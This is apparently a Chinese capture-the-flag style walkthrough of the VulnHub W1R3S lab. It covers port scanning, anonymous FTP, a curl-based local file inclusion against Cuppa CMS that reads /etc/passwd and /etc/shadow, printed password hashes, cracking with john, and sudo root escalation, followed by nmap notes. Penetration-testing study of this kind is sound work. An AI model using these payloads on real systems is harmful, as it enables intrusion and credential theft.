vulnhub - w1r3s.v1.0.1

高质量视频教程 - b站红队笔记

靶机下载

本地环境

本机ip:192.168.157.131

w1r3s虚拟机设置NAT模式

信息收集

扫描网段得到攻击机ip:192.168.157.158

详细信息扫描

nmap -A -p- 192.168.157.158

开放了四个端口

21 FTP协议(可匿名登录访问)

22 SSH

80 http

3306 mysql

FTP匿名登录访问

目录结构与账户已通过nmap获取

| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
|_drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees

用户名Anonymous,空密码

在content目录下发现txt文件,下载到本机上查看

prompt	#省去交互式确认
mget *.txt #下载所有txt文件

02.txt内密文是MD5与base64

It is easy, but not that easy..

docs/worktodo.txt得到

	ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡

....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ

new-employees/employee-names.txt得到员工信息

The W1R3S.inc employee list

Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources

网站扫描

dirsearch -u 192.168.157.158

主要关注/administrator/wordpress

访问http://192.168.157.158/administrator/installation/

由网页标签得知是Cuppa CMS系统

LFI漏洞

使用searchsploit查找漏洞

searchsploit cuppa CMS
searchsploit -m php/webapps/25971.txt #下载到当前目录下

阅读一下得知是LFI漏洞,攻击者可利用此漏洞包含本地或远程PHP文件或读取非PHP文件

/alerts/alertConfigField.php文件urlConfig参数存在LFI漏洞,可以利用特殊的url,查看本地文件

利用curl来查看

curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://192.168.157.158/administrator/alerts/alertConfigField.php

--data-urlencode 选项会对键值对中的特殊字符进行 URL 编码

主要用于对 POST 请求中的数据进行 URL 编码

得到以下数据

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
w1r3s:x:1000:1000:w1r3s,,,:/home/w1r3s:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
ftp:x:122:129:ftp daemon,,,:/srv/ftp:/bin/false
mysql:x:123:130:MySQL Server,,,:/nonexistent:/bin/false

x/etc/passwd 文件中通常表示密码字段已经被哈希加密,实际的密码存储在 /etc/shadow 文件中。在过去的 Unix 系统中,/etc/passwd 文件存储用户账户信息,包括用户名和密码字段。然而,为了增加密码的安全性,现代的 Unix 系统通常将用户密码从 /etc/passwd 文件中移出,单独存储在 /etc/shadow 文件中,而在 /etc/passwd 中使用占位符代表密码字段。

所以现在去读取 /etc/shadow

root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
daemon:*:17379:0:99999:7:::
bin:*:17379:0:99999:7:::
sys:*:17379:0:99999:7:::
sync:*:17379:0:99999:7:::
games:*:17379:0:99999:7:::
man:*:17379:0:99999:7:::
lp:*:17379:0:99999:7:::
mail:*:17379:0:99999:7:::
news:*:17379:0:99999:7:::
uucp:*:17379:0:99999:7:::
proxy:*:17379:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
backup:*:17379:0:99999:7:::
list:*:17379:0:99999:7:::
irc:*:17379:0:99999:7:::
gnats:*:17379:0:99999:7:::
nobody:*:17379:0:99999:7:::
systemd-timesync:*:17379:0:99999:7:::
systemd-network:*:17379:0:99999:7:::
systemd-resolve:*:17379:0:99999:7:::
systemd-bus-proxy:*:17379:0:99999:7:::
syslog:*:17379:0:99999:7:::
_apt:*:17379:0:99999:7:::
messagebus:*:17379:0:99999:7:::
uuidd:*:17379:0:99999:7:::
lightdm:*:17379:0:99999:7:::
whoopsie:*:17379:0:99999:7:::
avahi-autoipd:*:17379:0:99999:7:::
avahi:*:17379:0:99999:7:::
dnsmasq:*:17379:0:99999:7:::
colord:*:17379:0:99999:7:::
speech-dispatcher:!:17379:0:99999:7:::
hplip:*:17379:0:99999:7:::
kernoops:*:17379:0:99999:7:::
pulse:*:17379:0:99999:7:::
rtkit:*:17379:0:99999:7:::
saned:*:17379:0:99999:7:::
usbmux:*:17379:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
sshd:*:17554:0:99999:7:::
ftp:*:17554:0:99999:7:::
mysql:!:17554:0:99999:7:::

有了hash自然先去尝试john爆破

john爆破

取出有hash值的用户,另存为shadow.hash

root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::

ssh登入w1r3s用户,尝试提权

根据提示,用户 w1r3s 在主机 W1R3S.localdomain 上具有完全的 sudo 权限,可以以任何身份运行任何命令。

sudo /bin/bash

提权成功,在/root下拿到flag

笔记

写于自己打完全程后,观看红队笔记的讲解视频,记录下一些细节性的技巧与思路

nmap -sT --min-rate 10000 -p- 192.168.157.158 -oA nmapscan/ports
  • -sT:指定使用 TCP 连接进行端口扫描。TCP 扫描是 nmap 的默认扫描类型。
  • --min-rate 10000:设置最小扫描速率为 10000 packets/sec(数据包/秒)。这将控制 nmap 发送扫描请求的速度。
  • -p-:指定扫描所有端口。-p- 表示扫描范围为从端口 1 到 65535 的所有端口。
  • -oA nmapscan/ports:指定输出文件的前缀为 nmapscan/ports。这将生成三个文件,包括一个文本文件(.txt)、一个 XML 文件(.xml)和一个 Nmap 脚本引擎文件(.nmap),用于存储扫描结果。

整体效果:该命令将使用 nmap 工具执行 TCP 端口扫描,扫描范围为目标主机的所有端口,扫描速率为每秒 10000 个数据包。扫描结果将被保存为文本、XML 和 Nmap 脚本引擎文件,并存储在名为 nmapscan/ports 的目录中

tips:在红队行动中--min-rate速率要尽量慢

筛选

当扫描结果中开放的端口较多时,可用以下方法筛选

grep open nmapscan/ports.nmap
grep open nmapscan/ports.nmap | awk -F '/' '{print $1}'
  • grep open nmapscan/ports.nmap:使用 grep 命令在 nmapscan/ports.nmap 文件中查找包含 "open" 的行。grep 是一个文本搜索工具,用于在文件中查找匹配指定模式的行。
  • |:管道符号,将前一个命令的输出作为后一个命令的输入。
  • awk -F '/' '{print $1}':使用 awk 命令对前一个命令的输出进行处理。awk 是一种文本处理工具,它按照指定的字段分隔符来解析输入,并对每行进行处理。
    • -F '/':指定字段分隔符为 /,这样每行就会被分成多个字段。
    • '{print $1}':打印每行的第一个字段。在这个命令中,我们使用 / 作为字段分隔符,因此 $1 表示每行的第一个字段,即端口号。

整体效果:该命道的作用是在 nmapscan/ports.nmap 文件中查找包含 "open" 的行,并提取出这些行中的端口号。输出将只包含端口号,每个端口号占一行

若使端口号一行展示可用paste命令

┌──(root㉿kali)-[/home/kali/桌面]
└─# grep open nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ','
21,22,80,3306
  • paste 是一个命令行工具,用于将多个文件的内容进行列对齐,并输出到标准输出或指定的文件中。
  • -s 选项表示将多个文件的内容进行串联,而不是逐行对齐。也就是说,它将多个文件的内容连接成一行输出。
  • -d ',' 选项指定了列之间的分隔符为逗号(,)。这样,每个列之间将用逗号分隔。

将结果存入变量

ports=$(grep open nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',')

ports=$(...):将整个命令的输出结果赋值给变量 ports

详细扫描

nmap -sT -sV -sC -O -p21,22,80,3306 192.168.157.158 -oA nmapscan/detail

输入-p$ports后按tab即可显示为-p21,22,80,3306

  • -sV:启用版本探测,用于尝试识别目标主机上运行的服务的版本信息。
  • -sC:启用默认脚本扫描,使用一组常用脚本来检测目标主机上的漏洞和安全问题。
  • -O:启用操作系统探测,尝试识别目标主机的操作系统类型。
  • -p21,22,80,3306:指定要扫描的端口列表,包括 21(FTP)、22(SSH)、80(HTTP)和 3306(MySQL)。

扫描UDP

nmap -sU --top-ports 20 192.168.157.158 -oA nmapscan/udp
  • -sU:指定使用 UDP 扫描模式。UDP 扫描用于探测目标主机上开放的 UDP 端口。
  • --top-ports 20:指定扫描的端口数目为 20。该参数会使 nmap 扫描目标主机上最常见的 20 个 UDP 端口。

关于ftp的小细节

登入后第一时间输入

ftp > binary	#切换到二进制模式

可以防止下载的二进制文件损坏

对于加密数据

使用工具hash-identifier识别

vulnhub - w1r3s.v1.0.1的更多相关文章

  1. 【原创】项目五w1r3s.v1.0

    实战记录 1.nmap信息枚举 1)C段扫描 nmap -sP 192.168.186.0/24 2)扫描全端口信息 nmap -p- 192.168.186.143 3)扫描版本信息 nmap -p ...

  2. Git异常:fatal: V1.0 cannot be resolved to branch.

    GitHub实战系列汇总:http://www.cnblogs.com/dunitian/p/5038719.html ———————————————————————————————————————— ...

  3. 自己动手写计算器v1.0

    今天突发奇想,想着看了还几个设计模式了,倒不如写点东西来实践它们.发现计算器这种就比较合适,打算随着设计模式的学习,会对计算器不断的做改进. 包括功能的增加和算法的改进.初学者难免犯错,希望大家不吝指 ...

  4. ASP.NET Boilerplate终于发布v1.0了

    (此文章同时发表在本人微信公众号"dotNET每日精华文章",欢迎右边二维码来关注.) 题记:ABP经过2年多的开发,终于发布第一个主要版本了,谨此提醒ABP的使用者. ASP.N ...

  5. 【JS】heatmap.js v1.0 到 v2.0,详细总结一下:)

    前段时间,项目要开发热力图插件,研究了heatmap.js,打算好好总结一下. 本文主要有以下几部分内容: 部分源码理解 如何迁移到v2.0 v2.0官方文档译文 关于heatmap.js介绍,请看这 ...

  6. 图像处理工具V1.0

    图像处理工具V1.0(仿彗星图片处理工具.VS2015安装界面)----个人无聊作品 以下是界面: 部分代码一.(摘自网络----加水印代码): public static void ImageWat ...

  7. reGeorg v1.0内网流量转发

    reGeorg v1.0 git Usage $ reGeorgSocksProxy.py [-h] [-l] [-p] [-r] -u [-v] Socks server for reGeorg H ...

  8. 【原创】风讯DotNetCMS V1.0~V2.0 SQL注入漏洞

      文章作者:rebeyond 注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到乌云-漏洞报告平台.I.S.T.O版权所有,转载需注明作者. 受影响版本:貌似都受影响. 漏洞文件:use ...

  9. 屏幕监视专家 v1.0 定时录制屏幕动画发送到指定邮箱

    ScreenWatcher v1.0功能:定时录制屏幕动画发送到指定邮箱,录制的动画为gif,可指定录制多长时间.指定几点直接开始录制,完全后台运行.作者:Bluefish 下载链接: http:// ...

  10. 03-c#入门(简易存款利息计算器v1.0)

    本想把练习题做了的结果放上来,不过发现附录是有答案的,就算了吧,自己做了没问题就行了哈.之前提到过,要是有朋友有想法,需要做小工具我可以帮忙实现,不过貌似大家都很忙.SO,自己学完第4章后,决定做一个 ...

随机推荐

  1. golang中三种定时器的实现方式及周期定时

    一.定时器的创建 golang中定时器有三种实现方式,分别是time.sleep.time.after.time.Timer 其中time.after和time.Timer需要对通道进行释放才能达到定 ...

  2. Swift中Tuple的比较

    Swift中Tuple的比较遵循如下规则: 1 被比较的Tuple中包含的元素个数必须一样,并且对应元素的类型也必须一样: 2 比较的结果由整个Tuple的比较结果来决定.比如,如果是相等比较,那么必 ...

  3. Django测试与持续集成:从入门到精通

    title: Django测试与持续集成:从入门到精通 date: 2024/5/18 16:38:41 updated: 2024/5/18 16:38:41 categories: 后端开发 ta ...

  4. 解决linux家目录模板文件被删之后显示不正常的问题

    想必经常使用linux的小伙伴都遇到过下面这种情况: 下面讲解遇到这种问题之后如何解决: [root@node5 ~]# rm -rf /home/elk/.bash* [root@node5 ~]# ...

  5. Intel HDSLB 高性能四层负载均衡器 — 基本原理和部署配置

    前言 在上一篇<Intel HDSLB 高性能四层负载均衡器 - 快速入门和应用场景>中,我们着重介绍了 HDSLB(High Density Scalable Load Balancer ...

  6. Inno Setup Dependency Installer 安装包 运行环境安装

    Download and install any dependency such as .NET, Visual C++ or SQL Server during your application's ...

  7. Tron_CTF2024新生赛 MISC

    猿神?岂洞!! 题目: 腿短的好奇怪,难道有东西? 密码在这,好像有电!.txt 0362014324221316063736154275 还有一个压缩包. 我的解答: 036201432422131 ...

  8. 面试官:说一说如何优雅的关闭线程池,我:shutdownNow,面试官:粗鲁!

    写在开头 面试官:"小伙子,线程池使用过吗,来聊一聊它吧!" 我:"好的,然后巴拉巴拉一顿输出之前看过的build哥线程池十八问..." 面试官满意的点了点头, ...

  9. 【jetson nano】烧录系统

    烧录固件 烧录固件是为了让板子用tf卡作为系统启动(非板载启动),一般来说只需要刷写一遍. 安装vm,找到虚拟机镜像,解压part01就能获取镜像. 打开vm,打开此虚拟机镜像,账号clb,密码为12 ...

  10. Web 页面性能衡量指标-以用户为中心的效果指标

    Web 页面性能衡量指标-以用户为中心的性能指标 以用户为中心的性能指标是理解和改进站点体验的关键点 一.以用户为中心的性能指标 1. 指标是用来干啥的? 指标是用来衡量性能和用户体验的 2. 指标类 ...